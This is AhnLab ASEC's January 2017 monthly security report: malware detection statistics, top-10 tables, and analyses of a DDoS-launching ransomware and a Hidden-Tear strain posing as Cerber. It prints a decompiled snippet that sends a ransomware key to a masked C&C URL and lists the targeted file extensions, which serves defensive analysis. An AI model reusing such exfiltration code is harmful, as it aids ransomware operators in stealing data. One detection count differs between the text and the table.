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ASEC (AhnLab Security Emergency Response Center) is a global security response group consisting of virus analysts 

and security experts. This monthly report is published by ASEC and focuses on the most significant security threats and 

latest security technologies to guard against such threats. For further details, please visit AhnLab, Inc.’s homepage (www.

ahnlab.com).
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According to the ASEC (AhnLab Security Emergency Response Center), 5,993,659 

malware were detected in January 2017. The number of detected malware decreased 

by 944,375 from 6,938,034 detected in the previous month as shown in Figure 1-1. 

A total of 4,962,372 malware samples were collected in January.

* “Detected Samples” refers to the number of malware detected by AhnLab products deployed by our customers. 
* “Collected Samples” refers to the number of malware samples collected autonomously by AhnLab that were besides our 
products.  
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[Figure 1-1] Malware Trend
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Figure 1-2 shows the prolific types of malware in January 2017. It appears that 

Trojan was the most distributed malware with 44.16% of the total. It was followed by 

PUP(Potentially Unwanted Program, 24.05%) and Worm (8.13%).

Table 1-1 shows the Top 10 malware threats in January categorized by alias. Trojan/

Win32.Starter was the most frequently detected malware (118,236), followed by 

Trojan/Win32.Banki (109,737).

[Figure 1-2] Proportion of Malware Type in January 2017   

[Table 1-1] Top 10 Malware Threats in January 2017 (by Alias)

1 Trojan/Win32.Starter 188,236

2 Trojan/Win32.Banki 109,737

3 Malware/Win32.Generic 109,532

4 Unwanted/Win32.HackTool 100,074

5 Trojan/Win32.Cerber 83,796

6 Trojan/Win32.Agent 81,853

7 Trojan/Win32.Downloader 70,037

8 Trojan/Win32.Neshta 62,705

9 HackTool/Win32.AutoKMS 58,664

10 Trojan/Win32.Nitol 50,652

Rank Alias from AhnLab No. of detections
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PUP  24.05%

Trojan  44.16%
Adware  3.67%

Worm  8.13%

Downloader  2.55%

etc  17.44%
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In January 2017, a total of 3,041 domains and 4,169 URLs were comprised and used to 

distribute malware. In addition, 3,627,716 malicious domains and URLs were blocked. 
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[Figure 1-3] Blocked Malicious Domains/URLs in January 2017
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* “Blocked Connections” refers to the number of blocked connections from PCs and other systems to the malicious website 
by AhnLab products deployed by our customers.

Blocked Connections
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In January 2017, 292,262 mobile malware were detected as shown in Figure 1-4.

[Figure 1-4] Mobile Malware Trend
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[Table 1-2] Top 10 Mobile Malware Threats in January 2017 (by alias)

Table 1-2 shows the top 10 mobile malware detected in January 2017. Android-PUP/

Shedun was the most distributed malware with 61,999 of the total.

1 Android-PUP/Shedun 61,999

2 Android-PUP/SmsPay 41,759

3 Android-PUP/Agent 23,227

4 Android-Trojan/Jimo 18,024

5 Android-Trojan/Slocker 14,999

6 Android-Trojan/SmsSpy 11,249

7 Android-Trojan/Agent 11,037

8 Android-PUP/SmsReg 7,424

9 Android-Trojan/SmsSend 6,389

10 Android-PUP/Baogifter 6,333

Rank Alias from AhnLab No. of detections
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A URL is hard-coded in the ransomware; 

while the malware is running, it con-

tinuously accesses the address and 

copies data into the temp folder. At the 

time of this analysis, the host could not 
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A new type of ransomware has been 

discovered that initiate DDoS attacks. The 

ransomware uses the .NET framework 

and does not execute and immediately 

shut down if the .NET framework version 

of the victim system is 4.0 or lower. When 

its operational criteria are met, however, 

the ransomware activates and duplicates 

itself in the startup program folder. The 

malware then checks the files in the 

system to create a list of target files, and 

proceeds to encrypt the files on the list. 

be verified while the URL was being 

accessed, and the files could not be 

identified. A check of the packet, however, 

did reveal that the ransomware was 

constantly accessing the URL.

A New Type of Ransomware 
Launching DDoS Attack

Figure 2-1 | File encryption code

Figure 2-2 | URL access packet

This ransomware also creates multiple 

threads to continue its access attempts. 

The more systems are infected by the 

ransomware, the more packets will be 

created in the target server of the URL 

that is hard-coded in the malware. This is 

the feature that initiates the DDoS attack. 

Figure 2-3 | Multiple threads generated (left) and 
           URL accessed (right)
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The malware also contains codes that 

prevent the task manager (taskmgr) from 

running by checking and then shutting 

down the taskmgr process. This feature 

is presumably intended to prevent the 

ransomware from being shut down. If 

the user realizes that the ransomware 

is running, he or she will have to use the 

command prompt (CMD) or the process 

management tool instead of the now-

disabled taskmgr to attempt to shut down 

the malware. 

Figure 2-4 | Code for shutting down the task manager

Most ransomware display an infection 

message once the system has been taken 

over and the files encrypted. However, 

Figure 2-5 | Pay-up warning dialogue of the ransomware

Another point of difference is that the 

infection notice is not created into every 

folder that contains the target files but 

only on the desktop. 

The relevant alias identified by V3 pro-

ducts, AhnLab’s anti-virus program, is 

as below:

<Alias identified by V3 products>

Trojan/Win32.Crypmodadv (2017.01.05.05)

this particular ransomware copies itself 

into the startup programs folder, and 

displays the infection message when the 

system is restarted.
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IN-DEPTH ANALYSIS

Evolving Ransomware 
Attack Patterns
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Ransomware has now become ubiquitous 

to the point that a discussion of security 

threats is not complete without them. 

Exploding across the world in the past 

several years, ransomware continue to 

present a grave threat to IT environments 

by constantly changing their distribution 

and attack patterns. 

This article presents a detailed review of 

the attack pattern of Cerber, a recently-

discovered ransomware. 

A recently discovered Cerber ransom-

ware tricked the user by labeling it-

self as a “regional sales tax invoice”, 

disguised as an Adobe PDF document 

file that invites the user to click on it as 

shown in Figure 3-1.

Figure 3-2 | Properties of the malicious file

Figure 3-1 | EXE file masquerading as a PDF file

However, the file’s properties show that it 

in fact contains the “.exe” extension of an 

executable application file, instead of the 

PDF document’s normal “.pdf” extension.

When the malware is executed, a screen 

is displayed as shown in Figure 3-3 that 

appears to be a copy of the Adobe Reader 

application, a common PDF viewer, be-

ing run. However, the screen is a fake, 

displaying a mere image contained in 

the malware. The display is enough to 

trick the user into thinking that a PDF 

file is being loaded, leaving him or her 

oblivious to the threat being uncorked 

behind the screen.  
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Figure 3-3 | Fake Adobe Reader execution screen (top) 
           vs genuine display (bottom)

Most ransomware delete volume snap-

shot by calling vssadmin.exe, which is 

the command for managing the Windows 

OS’s volume shadow copy (VSS) function. 

This is to prevent the encrypted files 

from being restored. Shadow copies, 

or snapshots, are part of the Windows 

system restore function, the OS’s backup 

utility program. This particular malware, 

however, contains the command V_vvsad-

min.exe instead of vsadmind.exe, and the 

snapshots remain untouched. 

When the malware is executed, an encryp-

tion key is generated and the files in the 

PC are encrypted. 

".contact",".dbx",".doc",".docx",".jnt",".jpg",".mapimail",".

msg",".oab",".ods",".pdf",".pps",".ppsm",

".ppt",".pptm",".prf",".pst",".rar",".rtf",".txt",".wab",".xls",".

xlsx",".xml",".zip",".1cd",".3ds",".3g2",".3gp",".7z",".7zip",".

accdb",".aoi",".asf",".asp",".aspx",".asx",".avi",".bak",".cer",".

cfg",".class",".config",".css",".csv",".db",".dds",".dwg",".

dxf",".flf",".flv",".html",".idx",".js",".key",".kwm",".laccdb",".

ldf",".lit",".m3u",".mbx",".md",".mdf",".mid",".mlb",".

mov",".mp3",".mp4",".mpg",".obj",".odt",".pages",".php",".

psd",".pwm",".rm",".safe",".sav",".save",".sql",".srt",".

swf",".thm",".vob",".wav",".wma",".wmv",".xlsb",".3dm",".

aac",".ai",".arw",".c",".cdr",".cls",".cpi",".cpp",".cs",".db3",".

docm",".dot",".dotm",".dotx",".drw",".dxb",".eps",".fla",".

flac",".fxg",".java",".m",".m4v",".max",".mdb",".pcd",".pct",".

pl",".potm",".potx",".ppam",".ppsm",".ppsx",".pptm",".ps",".

pspimage",".r3d",".rw2",".sldm",".sldx", 외 251개 

Table 3-1 | Targeted file extensions

public void sendKey()
{
File.WriteAllText("C:\\Users\\" + this.userName + "\\PK.dat", 
this.encryptedPassword);
this.HTTPget("http://****cipher.com/index.php?id=" + this.
encryptedPassword);
}

Table 3-2 | Targeted file location and encryption settings

Once the encryption is completed, the key 

that is created in C:\Users\ is transmitted 

to the C&C server.

Figure 3-4 | Accessing the C&C URL
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Figure 3-5 is  the infect ion message 

d isplayed by  th is  ransomware,  and 

read ing  the  ransom note  g i ves  the 

impression that is this the work of the 

ransomware Cerber. However, it is in fact 

a strain of Hidden-Tear ransomware, 

completely different from Cerber. Hidden-

Tear was or ig inal ly  an open-source 

ransomware created for research and 

education purposes, but is increasingly 

being used to create and distribute a 

variety of malicious ransomware. 

Figure 3-5 | Ransom note disguised as a message 
           generated by Cerber

The relevant alias identified by V3 pro-

ducts, AhnLab’s anti-virus program, is 

as below:

<Alias identified by V3 products>

Trojan/Win32.Ransom (2016.12.15.05)

Newer ransomware are employing a 

diverse range of attack methods to cause 

increasingly serious havoc. In order to 

prevent being harmed from ransomware, 

the latest security updates should be 

applied to the operating system and key 

programs in order to block drive-by-

download attacks that exploit various 

vulnerabilities. Anti-virus engines should 

also be kept up to date.
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